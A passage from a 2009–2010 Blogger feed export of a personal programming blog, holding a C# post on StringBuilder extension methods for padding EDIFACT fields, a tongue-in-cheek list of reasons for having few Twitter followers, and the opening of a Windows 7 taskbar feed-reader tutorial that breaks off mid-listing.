width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-5276947087262700769</id><published>2010-01-19T01:20:00.002+01:00</published><updated>2010-01-19T11:44:28.337+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='.net'/><category scheme='http://www.blogger.com/atom/ns#' term='c#'/><title type='text'>Extension methods real world example</title><content type='html'>&lt;a href="http://msdn.microsoft.com/en-us/library/bb383977.aspx" target="_blank"&gt;Extension methods&lt;/a&gt; in .NET are surely an elegant way to produce elegant code and makes it more readable and easier to maintain, but have you really used them for a real world application before?&lt;br /&gt;This summer I worked on a project where I needed to produce &lt;a href="http://en.wikipedia.org/wiki/EDIFACT" target="_blank"&gt;Edifact&lt;/a&gt; files, mainly in the &lt;a href="http://www.unece.org/trade/untdid/d99b/trmd/copaym_c.htm" target="_blank"&gt;Cpaym&lt;/a&gt; or the Coplat format. Short story long story, in the &lt;strong&gt;Coplat&lt;/strong&gt; format, when you write a string with a specified length, you must pad the string with spaces to match the exact length required, with the string aligned to the left. For example if the string is &lt;strong&gt;"hello"&lt;/strong&gt; and the length is &lt;strong&gt;20&lt;/strong&gt; then you write the following: &lt;strong&gt;&lt;span style="color: #ff8000;"&gt;"hello&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp; "&lt;/span&gt;, &lt;/strong&gt;and for numbers they must be preceded with &lt;strong&gt;‘0’&lt;/strong&gt;s like: 12345 on 20 characters : &lt;span style="color: #ff8000;"&gt;&lt;strong&gt;"00000000000000012345"&lt;/strong&gt;&lt;/span&gt;&lt;span style="color: black;"&gt;, of course the number should be aligned to the right&lt;/span&gt;&lt;strong&gt;.&lt;/strong&gt;&lt;br /&gt;The idea was to overload the &lt;strong&gt;Append&lt;/strong&gt; method of the &lt;strong&gt;StringBuilder&lt;/strong&gt; class with two extension methods to handle the spaces or zeros automatically, here is the code :&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:37895fbf-cc4f-422b-89b5-9a29bbbd7a2a" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 500px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;public&lt;/span&gt; &lt;span style="color: blue;"&gt;static&lt;/span&gt; &lt;span style="color: blue;"&gt;void&lt;/span&gt; Append(&lt;span style="color: blue;"&gt;this&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;StringBuilder&lt;/span&gt; sb,&lt;span style="color: blue;"&gt;string&lt;/span&gt; text, &lt;span style="color: blue;"&gt;int&lt;/span&gt; len)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;string&lt;/span&gt; s = text ;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;if&lt;/span&gt; (text.Length &amp;gt; len)&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s = truncate(text, len);&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: green;"&gt;//Ilog.Info("data : " + text + " truncated to : " + s);&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s = s.PadRight(len, &lt;span style="color: #a31515;"&gt;' '&lt;/span&gt;);&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sb.Append(s);&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;public&lt;/span&gt; &lt;span style="color: blue;"&gt;static&lt;/span&gt; &lt;span style="color: blue;"&gt;void&lt;/span&gt; Append(&lt;span style="color: blue;"&gt;this&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;StringBuilder&lt;/span&gt; sb, &lt;span style="color: blue;"&gt;int&lt;/span&gt; num, &lt;span style="color: blue;"&gt;int&lt;/span&gt; len)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;string&lt;/span&gt; s = num.ToString();&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;if&lt;/span&gt; (s.Length &amp;gt; len)&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s = truncate(s, len);&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: green;"&gt;//Ilog.Info("data : " + num.ToString() + " truncated to : " + s);&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;s = s.PadLeft(len, &lt;span style="color: #a31515;"&gt;'0'&lt;/span&gt;);&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;sb.Append(s);&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;public&lt;/span&gt; &lt;span style="color: blue;"&gt;static&lt;/span&gt; &lt;span style="color: blue;"&gt;string&lt;/span&gt; truncate(&lt;span style="color: blue;"&gt;string&lt;/span&gt; s, &lt;span style="color: blue;"&gt;int&lt;/span&gt; len)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;if&lt;/span&gt; (s.Length &amp;gt; len)&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;return&lt;/span&gt; s.Substring(&lt;span style="color: brown;"&gt;0&lt;/span&gt;, len);&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;else&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;return&lt;/span&gt; s;&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Then the call to the &lt;strong&gt;Append&lt;/strong&gt; method like this :&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:9921b0a7-c3e5-4f80-a6fe-a82c72376f85" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: green;"&gt;//The default Append method&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;sb.Append(&lt;span style="color: #a31515;"&gt;"FIN"&lt;/span&gt;);&lt;/li&gt;&lt;li&gt;&lt;span style="color: green;"&gt;//This will result in '00000001'&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;sb.Append(&lt;span style="color: brown;"&gt;1&lt;/span&gt;, &lt;span style="color: brown;"&gt;8&lt;/span&gt;);&lt;/li&gt;&lt;li&gt;&lt;span style="color: green;"&gt;//This will result in 'cool&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;'&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;sb.Append(&lt;span style="color: #a31515;"&gt;"cool"&lt;/span&gt;, &lt;span style="color: brown;"&gt;15&lt;/span&gt;);&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;It was really useful because I needed to call the Append method dozens of times, and I was pleased that extension methods come to rescue.&lt;br /&gt;So what about you? have you ever faced a situation where extension methods were handful for you? share your experience with us in the comments.&lt;br /&gt;&lt;em&gt;Since it’s really rare to find useful introductions to the EDI standards, I recommend this blog to start with &lt;/em&gt;&lt;a href="http://gekseppe.blogspot.com/" target="_blank"&gt;&lt;em&gt;http://gekseppe.blogspot.com/&lt;/em&gt;&lt;/a&gt;&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-5276947087262700769?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/5276947087262700769/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/01/extension-methods-real-world-example.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5276947087262700769'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5276947087262700769'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/01/extension-methods-real-world-example.html' title='Extension methods real world example'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-5762312306105747511</id><published>2010-01-10T21:09:00.003+01:00</published><updated>2010-01-10T21:59:23.694+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='twitter'/><title type='text'>7 reasons why you are not getting more than 30 Twitter followers</title><content type='html'>You are following dozens of people but only 17 are following you? you are wondering if those 17 are real people or 7 of them are spams? you are asking why you are not getting more followers? then here are some hints you should consider.    &lt;br /&gt;&lt;br /&gt;&lt;strong&gt;1.You are using a spam(my) avatar&lt;/strong&gt; : seriously, using such an avatar means you don’t even bother taking few seconds to change your profile picture and hence you don’t even have time to tweet. And worse, spams are mainly known to have such avatars.&amp;nbsp; &lt;a href="http://lh3.ggpht.com/_MIqc395dv38/S0o-WeirQgI/AAAAAAAABBA/Nl2sC0BT0xQ/s1600-h/default%20avatar%5B2%5D.png"&gt;&lt;/a&gt;    &lt;br /&gt;&lt;img alt="default avatar" border="0" height="83" src="http://lh4.ggpht.com/_MIqc395dv38/S0o-W9ByyRI/AAAAAAAABBE/JBceAYAEtTM/default%20avatar_thumb.png?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="default avatar" width="248" /&gt;&lt;br /&gt;&lt;strong&gt;2. You are using a hot sexy girl avatar with a username like “3spyXynF”&lt;/strong&gt; :&amp;nbsp; Dude! you are absolutely a spam, No one has a doubt about it.     &lt;br /&gt;&lt;a href="http://lh4.ggpht.com/_MIqc395dv38/S0o-XetwvfI/AAAAAAAABBI/gq5adLOUmvI/s1600-h/spam%5B5%5D.png"&gt;&lt;img alt="spam" border="0" height="84" src="http://lh4.ggpht.com/_MIqc395dv38/S0o-X4TKNpI/AAAAAAAABBM/RlOGS91BgrA/spam_thumb%5B1%5D.png?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="spam" width="248" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;strong&gt;3. Your Bio is empty or all what it tells is “I love eating stuff…&amp;lt;3”&lt;/strong&gt; : When someone checks your profile, he expects a little more information about you, and the first place to look for information about you (the one he wants to follow) is your bio, an empty bio is like a bio that is saying :”&lt;em&gt;what the hell you want by knowing me!&lt;/em&gt;” &lt;br /&gt;&lt;strong&gt;4. No location, nor website&lt;/strong&gt; : although not as important as the bio, but these will help to get trust of people who will see your profile, consider the website as a long rich version of the short twitter Bio.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt; &lt;br /&gt;&lt;strong&gt;5. Your tweets are all about “&lt;em&gt;Just voted something&lt;/em&gt;”&lt;/strong&gt; : sometimes, I come across profiles with the last 20 tweets only about “&lt;em&gt;Just Voted Google might not be cool&lt;/em&gt;”, “&lt;em&gt;Just rated a Youtube video..&lt;/em&gt;”. Yeah that’s really important for the person who will follow you!     &lt;br /&gt;&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/S0o-YeMrPwI/AAAAAAAABBQ/i5vJNY6qxCw/s1600-h/just%20voted%5B2%5D.png"&gt;&lt;img alt="just voted" border="0" height="242" src="http://lh6.ggpht.com/_MIqc395dv38/S0o-YwnkDWI/AAAAAAAABBU/5eabVy531O4/just%20voted_thumb.png?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="just voted" width="248" /&gt;&lt;/a&gt; &lt;br /&gt;&lt;strong&gt;6. Hashtags everywhere&lt;/strong&gt; : Hashtags are so useful within Twitter, but once overused they become so annoying, don’t use Hashtags on every tweet, here is an example : “&lt;em&gt;Whoa #My dog #just barked, #ilove it #sofreaking much. you #guys, my tweet is damn #kewl #also XD&lt;/em&gt;” &lt;br /&gt;&lt;strong&gt;7. No original tweets everything is automatically posted from Facebook and Friendfeed&lt;/strong&gt; : it’s really terrific when you have to follow 30 links to read the real post, people usually post on Facebook which is connected to Friendfeed which is connected back to some sort of other social network which is connected to twitter, so you get something similar to : “&lt;em&gt;a tweet from somewhere to be… &lt;/em&gt;&lt;a href="http://ff.im/whocares"&gt;&lt;em&gt;http://ff.im/whocares&lt;/em&gt;&lt;/a&gt;”. I really hate this, be in one place, or post something specific for every service, don’t share.&amp;nbsp; &lt;br /&gt;&lt;a href="http://lh5.ggpht.com/_MIqc395dv38/S0o-Zm84JLI/AAAAAAAABBY/6W5SABrXoPE/s1600-h/ff%5B2%5D.png"&gt;&lt;img alt="ff" border="0" height="214" src="http://lh6.ggpht.com/_MIqc395dv38/S0o-aFCXl3I/AAAAAAAABBc/pgSb07X0u3E/ff_thumb.png?imgmax=800" style="border-bottom-width: 0px; border-left-width: 0px; border-right-width: 0px; border-top-width: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="ff" width="248" /&gt;&lt;/a&gt; &lt;br /&gt;Finally, I wish your profile will shine soon ;) In the meantime don’t forget to follow me at &lt;a href="http://twitter.com/martani_net" target="_blank"&gt;@martani_net&lt;/a&gt; and check these amazing twitter tools to help you having a better experience using twitter: &lt;a href="http://www.deontee.com/47-top-twitter-sites-services-software-and-tips/" target="_blank"&gt;47 Awesome Twitter Tools You Should be Using&lt;/a&gt;.&lt;div class="blogger-post-footer"&gt;&lt;img width='1' height='1' src='https://blogger.googleusercontent.com/tracker/8964007124326996693-5762312306105747511?l=www.martani.net' alt='' /&gt;&lt;/div&gt;</content><link rel='replies' type='application/atom+xml' href='http://www.martani.net/feeds/5762312306105747511/comments/default' title='Post Comments'/><link rel='replies' type='text/html' href='http://www.martani.net/2010/01/7-reasons-why-you-are-not-getting-more.html#comment-form' title='0 Comments'/><link rel='edit' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5762312306105747511'/><link rel='self' type='application/atom+xml' href='http://www.blogger.com/feeds/8964007124326996693/posts/default/5762312306105747511'/><link rel='alternate' type='text/html' href='http://www.martani.net/2010/01/7-reasons-why-you-are-not-getting-more.html' title='7 reasons why you are not getting more than 30 Twitter followers'/><author><name>fakhrou martani</name><uri>https://profiles.google.com/103182982567993728984</uri><email>noreply@blogger.com</email><gd:image rel='http://schemas.google.com/g/2005#thumbnail' width='32' height='32' src='//lh4.googleusercontent.com/-uWdGi2569GI/AAAAAAAAAAI/AAAAAAAAAAA/6_obyno4c4c/s512-c/photo.jpg'/></author><media:thumbnail xmlns:media='http://search.yahoo.com/mrss/' url='http://lh4.ggpht.com/_MIqc395dv38/S0o-W9ByyRI/AAAAAAAABBE/JBceAYAEtTM/s72-c/default%20avatar_thumb.png?imgmax=800' height='72' width='72'/><thr:total>0</thr:total></entry><entry><id>tag:blogger.com,1999:blog-8964007124326996693.post-4232092052899185687</id><published>2009-12-21T20:18:00.002+01:00</published><updated>2009-12-25T23:11:24.213+01:00</updated><category scheme='http://www.blogger.com/atom/ns#' term='windows 7'/><category scheme='http://www.blogger.com/atom/ns#' term='wpf'/><category scheme='http://www.blogger.com/atom/ns#' term='technology'/><category scheme='http://www.blogger.com/atom/ns#' term='.net'/><category scheme='http://www.blogger.com/atom/ns#' term='xaml'/><category scheme='http://www.blogger.com/atom/ns#' term='tutorial'/><category scheme='http://www.blogger.com/atom/ns#' term='programming'/><category scheme='http://www.blogger.com/atom/ns#' term='linq'/><category scheme='http://www.blogger.com/atom/ns#' term='c#'/><category scheme='http://www.blogger.com/atom/ns#' term='bloginto'/><title type='text'>Take advantage of the new Windows 7 Taskbar #2 [Showcase : Bloginto7]</title><content type='html'>This is the part 2 of how to build a simple feed reader following the style of the Gmail Notifier Plus which uses basically the Windows 7 taskbar features.&lt;a href="http://lh3.ggpht.com/_MIqc395dv38/Sy_KwDe_lpI/AAAAAAAAA-4/CpEpr4aiYb8/s1600-h/42001378_thumb%5B4%5D.png"&gt;&lt;img alt="42001378_thumb" border="0" height="187" src="http://lh3.ggpht.com/_MIqc395dv38/Sy_KxdoiYnI/AAAAAAAAA-8/NPIlIlU1a5E/42001378_thumb_thumb%5B2%5D.png?imgmax=800" style="border-bottom: 0px; border-left: 0px; border-right: 0px; border-top: 0px; display: block; float: none; margin-left: auto; margin-right: auto;" title="42001378_thumb" width="256" /&gt;&lt;/a&gt;&lt;br /&gt;&lt;a href="http://www.martani.net/2009/11/take-advantage-of-new-windows-7-taskbar.html" target="_blank"&gt;Part 1&lt;/a&gt; was about the XAML part of the application, this part will show how to read the feeds asynchronously, how to change the ProgressBar and have an auto update features to read feeds.&lt;br /&gt;First we need a prototype class to hold the feeds : &lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:d39a5e71-da94-4380-8aa9-153e82124152" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;namespace&lt;/span&gt; BlogInto_win7&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;public&lt;/span&gt; &lt;span style="color: blue;"&gt;class&lt;/span&gt; &lt;span style="color: #2b91af;"&gt;Feed&lt;/span&gt;&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;{&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;public&lt;/span&gt; &lt;span style="color: blue;"&gt;int&lt;/span&gt; Id { &lt;span style="color: blue;"&gt;get&lt;/span&gt;; &lt;span style="color: blue;"&gt;set&lt;/span&gt;; }&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;public&lt;/span&gt; &lt;span style="color: blue;"&gt;string&lt;/span&gt; Title { &lt;span style="color: blue;"&gt;get&lt;/span&gt;; &lt;span style="color: blue;"&gt;set&lt;/span&gt;; }&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;public&lt;/span&gt; &lt;span style="color: blue;"&gt;string&lt;/span&gt; Link { &lt;span style="color: blue;"&gt;get&lt;/span&gt;; &lt;span style="color: blue;"&gt;set&lt;/span&gt;; }&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;public&lt;/span&gt; &lt;span style="color: blue;"&gt;string&lt;/span&gt; PubDate { &lt;span style="color: blue;"&gt;get&lt;/span&gt;; &lt;span style="color: blue;"&gt;set&lt;/span&gt;; }&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;public&lt;/span&gt; &lt;span style="color: blue;"&gt;string&lt;/span&gt; Author { &lt;span style="color: blue;"&gt;get&lt;/span&gt;; &lt;span style="color: blue;"&gt;set&lt;/span&gt;; }&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;public&lt;/span&gt; &lt;span style="color: blue;"&gt;string&lt;/span&gt; Description { &lt;span style="color: blue;"&gt;get&lt;/span&gt;; &lt;span style="color: blue;"&gt;set&lt;/span&gt;; }&lt;/li&gt;&lt;li&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;&lt;span style="color: blue;"&gt;public&lt;/span&gt; &lt;span style="color: blue;"&gt;string&lt;/span&gt; Votes { &lt;span style="color: blue;"&gt;get&lt;/span&gt;; &lt;span style="color: blue;"&gt;set&lt;/span&gt;; }&lt;/li&gt;&lt;li style="background: #f3f3f3;"&gt;&amp;nbsp;&amp;nbsp;&amp;nbsp;&amp;nbsp;}&lt;/li&gt;&lt;li&gt;}&lt;/li&gt;&lt;/ol&gt;&lt;/div&gt;&lt;/div&gt;&lt;/div&gt;Then we will need the following public variables to hold the feeds data, the current feeds shown and a timer for auto update.&lt;br /&gt;&lt;a name='more'&gt;&lt;/a&gt;&lt;br /&gt;&lt;div class="wlWriterEditableSmartContent" id="scid:9ce6104f-a9aa-4a17-a79f-3a39532ebf7c:714f9b7d-5ad4-4159-a9e3-a53e0cc215f6" style="display: inline; float: none; margin: 0px; padding-bottom: 0px; padding-left: 0px; padding-right: 0px; padding-top: 0px;"&gt;&lt;div style="border: #000080 1px solid; color: black; font-family: 'Courier New', Courier, Monospace; font-size: 10pt;"&gt;&lt;div style="background: #ddd; max-height: 400px; overflow: auto;"&gt;&lt;ol style="background: #ffffff; margin: 0 0 0 2.5em; padding: 0 0 0 5px; white-space: nowrap;"&gt;&lt;li&gt;&lt;span style="color: blue;"&gt;namespace&lt;/span&gt; BlogInto_win7&lt;/li&gt;&lt;li style="background: 